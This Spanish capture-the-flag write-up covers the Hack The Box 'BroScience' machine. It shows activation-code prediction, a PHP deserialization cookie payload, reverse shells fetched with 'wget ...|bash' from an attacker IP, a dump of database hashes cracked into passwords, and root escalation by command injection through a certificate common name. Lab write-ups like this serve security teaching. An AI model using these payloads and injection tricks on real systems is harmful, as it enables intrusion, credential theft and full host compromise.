    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

Activation_Code

Vemos que la funcion para el codigo de activacion, utiliza caracteres y digitos, el codigo de activacion tiene una longitud de 32 caracteres.

La funcion srand() toma como valor un entero, en este caso el valor de time(), en el ciclo for utiliza rand() para obtener un caracter “random”, el ciclo termina hasta crear una string de 32 caracteres y retornarlo.

Como se observa en la ejecucion, el codigo de activacion es diferente segun el valor de time(), sabiendo la hora exacta de la ejecucion de la funcion es posible generar el codigo de activacion.

image

Deserialization & Serialization

En las funciones set_theme() y get_theme() encontramos que utiliza las funciones de serialize() y unserialize().

  • En la primera establece una nueva cookie (en el caso de que el usuario este logeado) en base64 serializando un objeto de la clase UserPrefs().
  • En el segundo caso es similar, si observamos en la condicional verifica que no exista una cookie, en caso contrario, toma esta y la deserializa obteniendo el valor del tema.

En este ultimo caso es posible manipular la cookie y pasar un objeto serializado modificado.

Por ultimo tenemos las clases Avatar y AvatarInterface, las cuales permiten guardar un archivo en una direccion dada, con el uso de file_get_contents() es posible pasar una direccion URL. Tambien vemos la “magic function” __wakeup la cual se ejecuta cada vez que un objeto es deserializado, en este caso ejecuta la funcion save() para guardar un archivo.

Con lo anterior, es posible manipular una cookie que es deserializada y, con los objetos Avatar y AvatarInterface crear un archivo, al juntar estos dos nos permitiria realizar “deserialization attack”.

User - www-data

Como sabemos durante la ceracion de un usuario es necesario activar la cuenta, pero el codigo de activacion nunca se nos muestra o envia. Para generar nuestro codigo es necesario sincronizar la hora de nuestra maquina con la del servidor.

Clock synchro

Creamos un script en python el cual obtiene la fecha de la maquina a partir de una solicitud GET al servidor, cambiamos la fecha de nuestra maquina con la fecha de la respuesta de la solicitud.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests, subprocess, urllib3
from datetime import datetime
from dateutil.parser import parse as parsedate
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

r = requests.get('https://10.10.11.195',verify=False)
new_date = parsedate(r.headers["Date"]).strftime("%Y/%m/%d %H:%M:%S")

print("Site date:", new_date)
print("Current date:", datetime.now().strftime("%Y/%m/%d %H:%M:%S"))

subprocess.Popen(['sudo','/usr/bin/date', '-s', f'{new_date}'],
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE)

print("New Date: ", datetime.now().strftime("%Y/%m/%d %H:%M:%S"))

Nota: tomar en cuenta la zona horaria del servidor: sudo timedatectl set-timezone GMT

Activation code

Utilizamos la misma funcion para generar una lista de codigos, con un segundo de intervalo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php

function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
            $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];      
    }
    return $activation_code;
}

//echo "\n";
for($i =0; $i < 2000; $i++){
        sleep(1);
        echo generate_activation_code() . "\n";
}

User Auth

Creamos un usuario, y, durante el proceso ejecutamos el archivo anterior creando un wordlist de codigos. Vemos que el usuario bob se creo.

image
image

Vemos la creacion de los codigos, al finalizar la creacion del usuario cancelamos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
┌─[][kirby@parrot][~/htb/broscience]
└──╼ $php code.php 
2023-02-17 23-04-11:000000 : 8d0Uahz3sn5vwo6knP90mE5z6khCrMQl
2023-02-17 23-04-12:000000 : QQXXPxDx8A4VGS8AqYHdMh6fFdDXtt6X
2023-02-17 23-04-13:000000 : RLGiSd8AHtcnExYx6ejXPqIfecuFpxjo
2023-02-17 23-04-14:000000 : mzblJRICzcIbJ0uKPhDUUPQTxLF1TUgW
2023-02-17 23-04-15:000000 : rtDa7oInQtZmGNsrYxUjyvMzKnwXXRRa
2023-02-17 23-04-16:000000 : HAs3SBxamBSD6jmTQxu7vdthRCPsspKg
2023-02-17 23-04-17:000000 : xNRonvn3K6e0zi6f02P02iQ3p4pKGHCk
2023-02-17 23-04-18:000000 : sS1Czn1YuRKXQP4vof8PRl9FF9F2BvVm
2023-02-17 23-04-19:000000 : fUe8bBcEBFHV17uHMoZKiImMZ0nURnL6
2023-02-17 23-04-20:000000 : FyTM56WqhOrrtdrgUU90mbZiWgwlOMpN
2023-02-17 23-04-21:000000 : gO2nqz2BiGH5bJdklwPZ1dCpZMez6OrH
^C

Intentamos con los codigos que generamos hasta encontrar el que active nuestra cuenta.

image

Ingresamos con las credenciales correctamente.

image

Deserialization Attack

Si observamos el valor actual de la cookie, representa el objeto UserPrefs().

1
2
3
4
5
# Cookie
user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NDoiZGFyayI7fQ%3D%3D

# Decodificado, Serializado
O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}

Utilizamos el codigo de la clase Avatar y AvatarInterface para serializar y codificar en base64. En este caso estariamos creando el archivo abc.php con el contenido de un archivo en un servidor http.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp="http://10.10.14.207/abc.php";
    public $imgPath="abc.php"; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
echo base64_encode(serialize(new AvatarInterface()));

El archivo contiene la ejecucion de echo con un mensaje.

1
2
<?php
echo "from hell to heaven";

Creamos un servidor HTTP con python para nuestro archivo abc.php.

1
2
3
4
5
6
7
┌─[kirby@parrot][~/htb/broscience/www]
└──╼ $cat abc.php 
<?php
echo "from hell to heaven";
┌─[kirby@parrot][~/htb/broscience/www]
└──╼ $ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Luego generamos nuestro objeto serializado con la información necesaria para crear el archivo abc.php en la máquina.

image

Tras generar una nueva cookie y utilizarla en el sitio, obtuvimos una solicitud al archivo.

1
2
3
4
5
6
7
┌─[][kirby@parrot][~/htb/broscience/www]
└──╼ $sudo python3 -m http.server 80
[sudo] password for kirby: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -
10.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -
10.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -

Observamos que nuestro archivo PHP se creo y ejecutó correctamente.

1
2
3
4
5
┌─[kirby@parrot][~/htb/broscience/www]
└──╼ $curl -sk https://broscience.htb/abc.php && echo
from hell to heaven
┌─[kirby@parrot][~/htb/broscience/www]
└──╼ $

Shell

Generamos nuevamente una cookie esta vez con la ejecucion de una shell inversa.

image

Nuestro archivo shell con el siguiente comando, al mismo tiempo ejecutamos shells.

1
2
3
<?php
$cmd = shell_exec("ls -lah && wget -qO- http://10.10.14.207:8081/10.10.14.207:1335|bash");
echo $cmd;

Logrando obtener una shell como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
┌─[kirby@parrot][~/htb/broscience/www]
└──╼ $rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from broscience.htb [10.10.11.195] 48496
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@broscience:/var/www/html$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html
www-data@broscience:/var/www/html

User - Bill

Localmente utilizamos las credenciales de la conexion de base de datos, encontramos una lista de hashes de los usuarios registrados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
www-data@broscience:/dev/shm$ psql -h localhost --username=dbuser -d broscience -W # RangeOfMotion%777
<sername=dbuser -d broscience -W # RangeOfMotion%777
Password: 

psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

broscience=> \dt
WARNING: terminal is not fully functional
-  (press RETURN)
 public | comments  | table | postgres
 public | exercises | table | postgres
 public | users     | table | postgres

(END)q
broscience=> \d users
WARNING: terminal is not fully functional
-  (press RETURN)
 id              | integer                  |           | not null | generated a
lways as identity
 username        | character varying(100)   |           | not null | 
 password        | character varying(100)   |           | not null | 
 email           | character varying(100)   |           | not null | 
 activation_code | character varying(32)    |           | not null | 
 is_activated    | boolean                  |           |          | false
 is_admin        | boolean                  |           |          | false
 date_created    | timestamp with time zone |           |          | CURRENT_TIM
ESTAMP

q
broscience=>
broscience=> select * from users;
WARNING: terminal is not fully functional
-  (press RETURN)
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 
02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 
03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 
04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 
11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 
10:34:36.226763-04
(END)
(END)
q
broscience=>

Hash Cracking - John

Utilizamos el formato de John para crackear los hashes. En este caso dynamic_4 (Ref. 1 2), si observamos el hash md5 generado en el registro de usuarios (register.php).

1
2
3
4
5
6
# md5($db_salt . $_POST['password'])
administrator:15657792073e8a843d4f91fc403454e1$NaCl
bill:13edad4932da9dbb57d9cd15b66ed104$NaCl
michael:bd3dad50e2d578ecba87d5fa15ca5f85$NaCl
john:a7eed23a7be6fe0d765197b1027453fe$NaCl
dmytro:5d15340bded5b9395d5d14b9c21bc82b$NaCl

Observamos que el formato este en la lista de formatos de john.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
┌─[kirby@parrot][~/htb/broscience]
└──╼ $john --list=subformats |grep md5 | head
Format = dynamic_0   type = dynamic_0: md5($p) (raw-md5)
Format = dynamic_1   type = dynamic_1: md5($p.$s) (joomla)
Format = dynamic_2   type = dynamic_2: md5(md5($p)) (e107)
Format = dynamic_3   type = dynamic_3: md5(md5(md5($p)))
Format = dynamic_4   type = dynamic_4: md5($s.$p) (OSC)
Format = dynamic_5   type = dynamic_5: md5($s.$p.$s)
Format = dynamic_6   type = dynamic_6: md5(md5($p).$s)
Format = dynamic_8   type = dynamic_8: md5(md5($s).$p)
Format = dynamic_9   type = dynamic_9: md5($s.md5($p))
Format = dynamic_10  type = dynamic_10: md5($s.md5($s.$p))

Al ejecutar john sobre los hashes observamos tres en texto plano.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
┌─[kirby@parrot][~/htb/broscience]
└──╼ $john --format=dynamic_4 hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (dynamic_4 [md5($s.$p) (OSC) 256/256 AVX2 8x3])
Remaining 4 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
iluvhorsesandgym (bill)
Aaronthehottest  (dmytro)
2applesplus2apples (michael)
2g 0:00:00:01 DONE (2023-02-18 00:45) 1.626g/s 11659Kp/s 11659Kc/s 42910KC/s !!alex!!mil!!..*7¡Vamos!
Use the "--show --format=dynamic_4" options to display all of the cracked passwords reliably
Session completed

Shell

Utilizando las contraseñas ingresamos por SSH con el usuario bill, realizando la lectura de nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
┌─[kirby@parrot][~/htb/broscience]
└──╼ $ssh bill@broscience.htb # iluvhorsesandgym
bill@broscience.htb's password: 
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 17 17:43:24 2023 from 10.10.14.89
bill@broscience:~$ ls
Certs  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  user.txt
bill@broscience:~$ cat user.txt 
bb7107c1c936442b4921ca3ce0fbf93f
bill@broscience:~$

Privesc

Tras ejecutar pspy observamos la ejecucion del script renew_cert.sh sobre un certificado con nombre broscience.crt, como root.

1
2
3
4
5
6
7
8
2023/02/17 20:05:55 CMD: UID=117  PID=26800  | postgres: 13/main: autovacuum worker template1                                                                            
2023/02/17 20:06:01 CMD: UID=0    PID=26801  | /usr/sbin/CRON -f 
2023/02/17 20:06:01 CMD: UID=0    PID=26802  | /bin/sh -c /root/cron.sh 
2023/02/17 20:06:01 CMD: UID=0    PID=26804  | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
2023/02/17 20:06:01 CMD: UID=0    PID=26803  | /bin/bash /root/cron.sh 
2023/02/17 20:06:01 CMD: UID=0    PID=26805  | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
2023/02/17 20:06:15 CMD: UID=117  PID=26808  | postgres: 13/main: autovacuum worker broscience                                                                           
2023/02/17 20:06:35 CMD: UID=117  PID=26809  | postgres: 13/main: autovacuum worker

El script obtiene los atributos del certificado, en caso de expirar en las proximas 24 horas crea uno nuevo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

Command Injection

Si observamos, cuando se crea un nuevo certificado toma literal el valor de commonName del certificado, en este caso podriamos inyectar comandos para que se ejecuten.

1
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

Generamos un certificado ya expirado, utilizando el comando faketime (Ref. 1) donde agregamos un comando a ejecutar en el commo name.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
┌─[kirby@parrot][~/htb/broscience/www]
└──╼ $faketime '2008-12-24 08:15:42' openssl req -x509 -sha256 -nodes -days 1 -newkey rsa:2048 -keyout privateKey.key -out broscience.crt
Generating a RSA private key
...........+++++
...........................................................................................+++++
writing new private key to 'privateKey.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:da
State or Province Name (full name) [Some-State]:da
Locality Name (eg, city) []:da
Organization Name (eg, company) [Internet Widgits Pty Ltd]:fd
Organizational Unit Name (eg, section) []:df
Common Name (e.g. server FQDN or YOUR name) []:$(cat /root/root.txt >/tmp/root.txt)   
Email Address []:dafsdf

Observamos el comando en el common name.

1
2
3
┌─[kirby@parrot][~/htb/broscience/www]
└──╼ $openssl x509 -in broscience.crt -noout -subject
subject=C = da, ST = da, L = da, O = fd, OU = df, CN = "$(cat /root/root.txt >/tmp/root.txt)", emailAddress = dafsdf

Tras esperar unos segundos observamos que se ejecuto nuestro comando.

1
2
3
4
5
2023/02/17 20:58:02 CMD: UID=0    PID=27674  | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
2023/02/17 20:58:02 CMD: UID=0    PID=27677  | openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 
2023/02/17 20:58:04 CMD: UID=0    PID=27680  | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crt 
2023/02/17 20:58:04 CMD: UID=0    PID=27679  | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crt 
2023/02/17 20:58:04 CMD: UID=0    PID=27678  | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crt

Vemos el archivo root.txt en el directorio /tmp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
bill@broscience:~/Certs$ ls -lah /tmp/
total 3.9M
drwxrwxrwt 18 root       root       4.0K Feb 17 21:02 .
drwxr-xr-x 19 root       root       4.0K Jan  2 04:50 ..
drwxrwxrwt  2 root       root       4.0K Feb 17 15:22 .ICE-unix
drwxrwxrwt  2 root       root       4.0K Feb 17 15:22 .Test-unix
[.. snip ..]
-rwxr-xr-x  1 bill       bill       3.0M Dec 26 17:21 pspy64
-rw-r--r--  1 root       root         33 Feb 17 21:02 root.txt
drwx------  3 root       root       4.0K Feb 17 15:22 systemd-private-fce4cfc7c070458d89f20a1b40cfa57e-ModemManager.service-u6xz6g
[.. snip ..]
drwx------  2 root       root       4.0K Feb 17 15:23 vmware-root_549-4248811676
bill@broscience:~/Certs$ cat /tmp/root.txt 
7de4c6b32d386c2c39d48dee2ddfefd
bill@broscience:~/Certs$

Shell

Creamos nuevamente un certificado, esta vez con la ejecucion de una shell inversa.

1
$(wget -qO- http://10.10.14.207:8081/10.10.14.207:1335 | bash)

Tras unos segundo obtuvimos una shell como root y nuevamente, la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌─[kirby@parrot][~/htb/broscience/www]
└──╼ $rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from broscience.htb [10.10.11.195] 57684
/bin/sh: 0: can't access tty; job control turned off
#  python3 -c 'import pty;pty.spawn("/bin/bash");'
root@broscience:~# ls
cron.sh  dbreset.sh  init.sql  root.txt  webapp  webappreset.sh
root@broscience:~# cat root.txt
7de4c6b32d386c2c39d48dee2ddfefd3
root@broscience:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe